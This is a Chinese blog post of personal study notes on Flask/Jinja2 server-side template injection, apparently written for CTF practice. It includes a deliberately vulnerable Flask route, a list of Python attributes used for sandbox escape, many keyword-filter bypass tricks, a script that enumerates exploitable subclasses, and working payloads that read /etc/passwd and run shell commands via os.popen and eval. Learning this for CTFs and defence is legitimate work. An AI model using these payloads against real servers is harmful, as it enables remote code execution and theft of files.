SSTI学习记录

最新推荐文章于 2024-05-11 17:01:53 发布
最新推荐文章于 2024-05-11 17:01:53 发布
阅读量1.5k 收藏 12
点赞数 3
分类专栏： ssti flask 基础知识 文章标签： python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cjdgg/article/details/115770395
版权
基础知识 同时被 3 个专栏收录
12 篇文章 1 订阅
订阅专栏
flask
8 篇文章 0 订阅
订阅专栏
ssti
3 篇文章 0 订阅
订阅专栏

SSTI学习记录

环境

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test/')
def test():
    code = request.args.get('id')
    template = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(template)

if __name__ == '__main__':
    app.run()

搭建本地环境所用代码
jinja2官方文档
可以阅读参考学习

基础

__base__ //对象的一个基类，一般情况下是object，有时不是，这时需要使用下一个方法

__mro__ //同样可以获取对象的基类，只是这时会显示出整个继承链的关系，是一个列表，object在最底层故在列表中的最后，通过__mro__[-1]可以获取到

__base__    //类型对象的直接基类

__bases__   //类型对象的全部基类，以元组形式，类型的实例通常没有属__bases__

__subclasses__() //继承此对象的子类，返回一个列表

__globals__ //返回一个由当前函数可以访问到的变量，方法，模块组成的字典，不包含该函数内声明的局部变量。

__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上，在实例化的对象进行.操作的时候（形如：a.xxx/a.xxx()），都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

__builtins__   //返回一个由内建函数函数名组成的列表。

__getitem__(index)  //返回索引为index的值。

url_for  //可以直接和__globals__配合，如：url_for.__globals__['__builtins__']，或者和string等配合，详情看迭代器部分

lipsum  //flask的一个方法,可以直接和__globals__配合，如：lipsum.__globals__['__builtins__']，或者和string等配合，详情看迭代器部分

__init__   //该方法用于将对象实例化，如x.__init__.__globals__['__builtins__']
//{{''.__class__.__mro__[-1].__subclasses__()["type"].__init__.__globals__}}像这种找到了类要查看该类的方法要先__init__再用__globals__，直接用__globals__会报错

config  //查看配置文件

app

__doc__

get_flashed_messages // flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app。

__dic__     // 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里

current_app          应用上下文，一个全局变量。

__import__     //动态加载类和函数，也就是导入模块，经常用于导入os模块，__import__('os').popen('ls').read()]

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

语法

在这里插入图片描述
下面这些是ssti常用到的一些语句

{{5*5}} 直接执行
{% set a="test" %}{{a}}      //设置变量
{% for i in ['t ','e ','s ','t '] %}{{i}}{%endfor%}  //执行循环
{% if 25==5*5 %}{{"success"}}{% endif %}  //条件执行
{%print ’‘__.class__%} //会将执行结果输出，在{{过滤时有起效，如[GWCTF 2019]你的名字

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

变量

在这里插入图片描述
jinja文档中是这么描述的，大致意思就是除了标准的python语法使用点（.）外，还可以使用中括号（[]）来访问变量的属性，或者是使用_getitem_这种魔术方法来访问属性

我们要使用字典中的键值的话，也可以用list.pop(“var”),但大家最好不要用这个，除非万不得已，因为会删除里面的键，如果删除的是一些程序运行需要用到的，就可能使得服务器崩溃。然后过了一遍字典的方法，发现get和setdefault是个不错的选择

{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

下面的执行结果不难看出，他们都可以访问属性
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
值得注意的是，这样是行不通的
在这里插入图片描述

其实他是调用了魔术方法__getattribute__
在这里插入图片描述

字符串绕过方法

1、拼接
“cla”+“ss”

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这里拼接过后好像用.会报错，用[]和__getattribute__访问没问题
2、反转
“ssalc”[::-1]

""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

在这里插入图片描述
反转和拼接一样，[]和__getattribute__正常使用，.不行。

3、ascii转换

"{0:c}".format(97)    //'a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)    //'__class__'

在这里插入图片描述
这里补充下c的作用
在这里插入图片描述
4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话，还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

在这里插入图片描述
5、利用chr函数
因为我们没法直接使用chr函数，所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

这里就相当于上面语法所说那样,{{%set %}}设置变量,{{}}将构造好的语句直接执行
在这里插入图片描述
6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

在这里插入图片描述
7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

在这里插入图片描述

过滤器

在这里插入图片描述
讲几个对我们进行模板注入比较实用的吧，其他的大家可以去文档中学习。

1.attr
在这里插入图片描述

""|attr("__class__")
相当于
"".__class__

在这里插入图片描述
2.format
在这里插入图片描述
和前面说的format函数没啥区别，主要是有时侯会过滤.，这时我们可以用|绕过

3.first last random
如字面意思，分别是，返回第一个，最后一个，随机返回一个。

前两个其实用处不是很大，因为他只能返回第一个值或者最后一个，当然，如果我们用的就是第一个或者最后一个那就ok了。
random的话是随机返回，这样我们跑个脚本肯定是可以得到我们想要的。

4.join
在这里插入图片描述

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

在这里插入图片描述
5.replace
在这里插入图片描述

"__cladd__"|replace("dd","ss")     // "__class__"

在这里插入图片描述
6.reverse
在这里插入图片描述

"__ssalc__"|reverse        // "__class__"

在这里插入图片描述
7.string

功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用，就可以构造出一些字符了，再通过拼接就能构成特定的字符串

().__class__        //出来的是<class 'tuple'>
(().__class__|string)[0]      出来的是<

在这里插入图片描述
这个非常有用，通常就是这么获取字符拼接构造的

8.select
在这里插入图片描述
这个单独看感觉没啥用，但是和string配合后可就不同了

{{''|select|string}}

结果如下
在这里插入图片描述
这样我们就可以根据需求提取我们需要的字符进行构造
在这里插入图片描述

(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

在这里插入图片描述
9.list
在这里插入图片描述
转换成列表
更多的用途是配合上面的string转换成列表，就可以调用列表里面的方法取字符了
只是单纯的字符串的话取单个字符方法有限

(()|select|string)[0]
如果中括号被过滤了，挺难的
但是列表的话就可以用pop取下标了
当然都可以使用__getitem__
(()|select|string|list).pop(0)

在这里插入图片描述

发掘可用的payload

python环境常用命令执行方式：
os.system()
用法：os.system(command)

os.popen()
用法：os.popen(command[,mode[,bufsize]])
说明：mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。

subprocess
subprocess 模块有比较多的功能，subprocess模块被推荐用来替换一些老的模块和函数，如：os.system、os.spawn、os.popen等

subprocess模块目的是启动一个新的进程并与之通信。这里只讲用来运行shell命令的两个常用方法。

subprocess.call(“command”)
父进程等待子进程完成
返回退出信息(returncode，相当于Linux exit code)

与os.system功能相似,也无执行结果的回显

subprocess.Popen(“command”)

我们除了知道了linecache、os可以获取到命令执行的函数以外，我们前面还提到了一个__builtins__内建函数，在python的内建函数中我们也可以获取到诸如eval等执行命令的函数。
下面这个脚本用来查找可用的库，很有用

num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    #print item
    try:
        if item.__init__.__globals__.keys():

            if '__builtins__' in  item.__init__.__globals__.keys():
                print(num,item,'__builtins__')
            if  'os' in  item.__init__.__globals__.keys():
                print(num,item,'os')
            if  'linecache' in  item.__init__.__globals__.keys():
                print(num,item,'linechache')

        num+=1
    except:
        num+=1

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述
这个脚本可以根据需要自行修改

做题思路

ssti类型的题目一般只有下面两种考点

1.查配置文件

什么是查配置文件？我们都知道一个python框架，比如说flask，在框架中内置了一些全局变量，对象，函数等等。我们可以直接访问或是调用。
我们通常会用{{config}}查询配置信息，如果题目有设置类似app.config [‘FLAG’] = os.environ.pop(‘FLAG’)，就可以直接访问{{config[‘FLAG’]}}或者{{config.FLAG}}获得flag

{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

2.命令执行（其实就是沙盒逃逸类题目的利用方式）

补充

request绕过
GET方式，利用request.args传递参数

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd

{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__

在这里插入图片描述

POST方式，利用request.values传递参数

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

Cookie方式，利用request.cookies传递参数

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

过滤init，可以用__enter__或__exit__替代

{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

过滤args和.和_
之前在y1ng师傅博客看到的一个payload，原理并不难，这里使用了attr()绕过点，values绕过args，payload如下

{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}}
 
post:x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()

Unicode绕过
下面这两个是等价的

{{()|attr("__class__")}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}

在这里插入图片描述
存在的子模块可以通过.index()来进行查询，如果存在的话返回索引，直接调用即可：

 >>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() 
#将read() 修改为 write() 即为写文件

实例的话这里就不举具体的例子了，但是我觉得大佬写的这两道题的wp非常不错
ezflask
babyflask
参考文章：
https://blog.csdn.net/miuzzx/article/details/110220425
https://www.anquanke.com/post/id/188172#h2-11
https://blog.csdn.net/qq_38154820/article/details/111399386

lmonstergg
关注
  • 3
    点赞
  • 踩
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
flask ssti-subprocess.Popen(8-18)
Realiy的博客
08-18 800
学习文章 [CSCCTF 2019 Qual]FlaskLight get方法请求结合题目试试ssti 说明确实存在ssti 读取文件成功但是读不了app.py，命令执行也被禁止，看看大佬怎么bypass的 先写个脚本爆出可利用的类 import requests import re import html import time index = 0 for i in range(170, 1000): try: url = "http://aa86b4ee.
Hack the Box——Templated (ssti) wp
maple's的博客
01-22 2867
0x00前言 刚做完第一题的我，立马打开了第二题 提示：Can you exploit this simple mistake?（您可以利用这个简单的错误吗？） 0x01访问网站 http://178.128.40.217:31440/ 从界面提示Proudly powered by Flask/Jinja2，首先盲猜是ssti漏洞 根据以往的经验首先找注入点 0x02 注入点 url尝试payload ?={{3*3}} 从这里明确是ssti漏洞，也找的注入点..
ssti总结转载
kuzemax的博客
07-29 367
一、初识SSTI1、什么是SSTI？SSTI就是服务器端模板注入(Server-Side Template Injection)，实际上也是一种注入漏洞。可能SSTI对大家而言不是很熟悉，但是相信大家很熟悉SQL注入。实际上这两者的思路都是相同的，因此可以类比来分析。2、引发SSTI的真正原因render_template渲染函数的问题渲染函数在渲染的时候，往往对用户输入的变量不做渲染。
Python 开发 框架安全：SSTI 模板注入漏洞测试.
最新发布
网络安全领域___专研者.
05-11 445
SSTI (Server-Side Template Injection) 是一种Web应用程序安全漏洞，它发生在应用程序使用模板引擎渲染用户输入时。当应用程序将用户输入直接插入到模板中而不进行充分的过滤和验证时，就可能导致SSTI漏洞。攻击者可以利用这个漏洞注入恶意代码到模板中，从而执行任意命令，窃取敏感信息或者进一步渗透系统。
初学SSTI
m0_62422842的博客
06-13 440
SSTI的基础学习
flask 基础ssti注入
weixin_30355437的博客
01-10 355
源代码地址 (请用python2.7运行，python3有点出入) 注入点: 不是返回的静态模板而是反回模板字符串变得让客户端可以控制。 XSS 这里直接 http://39.105.116.195:9000/<script>alert(1)</script>就会有反射性XSS flask对模板文件和模板文件中内容进行转义,可如果直接返回模板字符串或者直接返回字符...
fenjing工具，ssti
12-17
为了进一步了解和使用Fenjing，用户需要查看其提供的文档，理解其工作原理，学习如何配置和运行工具，以及如何根据目标环境定制payload。 总的来说，Fenjing工具是针对SSTI漏洞的一种实用工具，它可以帮助安全专业...
SSTI
03-09
4. **使用安全的模板引擎**：选择具有良好安全记录和防注入机制的模板引擎，如Jinja2的安全模式。 5. **更新与修补**：保持软件更新，及时修复已知的安全漏洞。 6. **日志监控**：监测异常请求和模板执行行为，尽早...
ssti-payload：SSTI有效载荷生成器
02-06
SSTI有效载荷发生器 该生成器是针对特定类型的Java SSTI的，其受以下启发： ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)....
全国大学生信息安全竞赛决赛web4，SSTI+TensorFlow模型.zip
01-27
2、本项目适合作为计算机、数学、电子信息等专业的课程设计、期末大作业和毕设项目，作为参考资料学习借鉴。 3、本资源作为“参考资料”如果需要实现其他功能，需要能看懂代码，并且热爱钻研，自行调试。 全国大...
flaskssti：测试SSTI
02-21
通过深入研究这些文件，我们可以学习到如何在Flask应用中正确处理用户输入，防止SSTI攻击，同时了解如何编写安全的模板代码。这对于任何使用Flask和Jinja2开发web应用的开发者来说都是宝贵的知识。
学习ssti
n1ght的博客
11-23 396
ssti也叫做模板注入 当不正确的使用模板引擎进行渲染时，则会造成模板注入 比如render_template_string函数，当参数可控时，会造成模板注入 在Python的ssti中，大部分是依靠基类->子类->危险函数的方式来利用ssti python沙箱逃逸总结 这是别人的文章 __class__ 返回对象所属的类 __bases__以元组的形式返回一个类所直接继承的类 __base__以字符串返回一个类所直接继承的类。 __mro__返回解析方法调用的顺序。 __su
SSTI(模板注入)
xiaolong22333的博客
02-28 1482
概念性的东西这里就不讲了，毕竟像我这种刚开始学ssti，且没什么Python基础的小白来说，要是一上来就巴拉巴拉讲一堆概念，可能直接就懵了。 首先认识一下这个东西 __class__ 它可以用来查看变量所属的类 什么意思呢？动手试一下就知道了。用命令行打开python，输入''.__class__ 可以看到输出了<class 'str'>，表明这是str类，当然还有另外的类型，可以依次输入().__class__,[].__class__,{}.__class__ str(字符串)、di.
SSTI模板注入总结
热门推荐
Manuffer的博客
10-13 1万+
文章目录一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结（转载)5、常见过滤器（转载）四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1 一、初识SSTI 1、什么是SSTI？ SSTI就是服务器端模板注入(Server-Side Template Injection)，实际上也是一种注入漏洞。 可能SSTI对大家而言不是很熟悉，但是相信大家很熟悉SQL注入。实
SSTI入门详解
E1even的博客
03-15 5058
关于基于flask的SSTI漏洞的阶段学习小结： SSTI的理解： SSTI和SQL注入原理差不多，都是因为对输入的字符串控制不足，把输入的字符串当成命令执行。 SSTI引发的真正原因： render_template渲染函数的问题 render_template渲染函数是什么： 就是把HTML涉及的页面与用户数据分离开，这样方便展示和管理。当用户输入自己的数据信息，HTML页面可以根据用户自身的信息来展示页面，因此才有了这个函数的使用。 ...
深入浅出带你了解SSTI模板注入
qq_44005305的博客
01-01 951
服务端接收了用户的输入，将其作为 Web 应用模板内容的一部分，在进行目标编译渲染的过程中，执行了用户插入的恶意内容，因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。今天比较详细的讲了SSTI模板注入漏洞的原理以及应用方法，可能刚开始学不太好理解，可以根据之前SQL注入的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试，喜欢的小伙伴不妨一键三连。# 学习计划安排我一共划分了六个阶段，但并不是说你得学完全部才能上手工作，对于一些初级岗位，学到第三四个阶段就足矣~
SSTI简介
qq_74263993的博客
03-10 475
找一个可利用的function来执行，比如popen的话，就可以这样利用：''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('dir').read()lipsum flask的一个方法，可以用于得到__builtins__，而且lipsum.__globals__含有os模块：{{lipsum.__globals__['os'].popen('ls').read()}}
SSTI---总结
wwwwyyyrre的博客
06-12 2332
1)过滤[]和.只过滤[]pop() 函数用于移除列表中的一个元素（默认最后一个元素），并且返回该元素的值。若.也被过滤，使用原生JinJa2函数|attr()将request.__class__改成request|attr("__class__")(2)过滤_利用request.args属性将其中的request.args改为request.values则利用post的方式进行传参(3)关键字过滤base64编码绕过__getattribute__使用实例访问属性时,调用该方法。
SSTI模板注入
qq_48904485的博客
03-22 5006
一、SSTI简介 SSTI就是服务器端模板注入(Server-Side Template Injection)，SSTI也是注入类的漏洞，其成因其实是可以类比于sql注入的。 sql注入是从用户获得一个输入，然后又后端脚本语言进行数据库查询，所以可以利用输入来拼接我们想要的sql语句，当然现在的sql注入防范做得已经很好了，然而随之而来的是更多的漏洞。 SSTI也是获取了一个输入，然后再后端的渲染处理上进行了语句的拼接，然后执行。当然还是和sql注入有所不同的，SSTI利用的是现在的网站模板引擎(下面会提到
flask ssti
09-26
Flask SSTI（Server-Side Template Injection）是指在Flask应用中，由于未正确处理用户输入，导致用户输入的模板言被当作代码执行的漏洞。攻击者可以通过向模板注入恶意代码来执行任意命令或获取敏感信息。要防止SSTI漏洞，开发者需要注意对用户输入进行适当的过滤和转义。 在上面提供的代码中，虽然简单，但存在SSTI漏洞的潜在风险。因为在模板中，我们可以看到没有对用户输入进行任何处理，直接将其作为字符串插入到返回的HTML中。这就为攻击者注入恶意代码提供了机会。 为了防止SSTI漏洞，我们应该使用Flask提供的安全特性，如使用Jinja2模板引擎的自动转义功能。通过将用户输入标记为安全，Jinja2会自动过滤掉其中的危险代码，从而防止SSTI攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值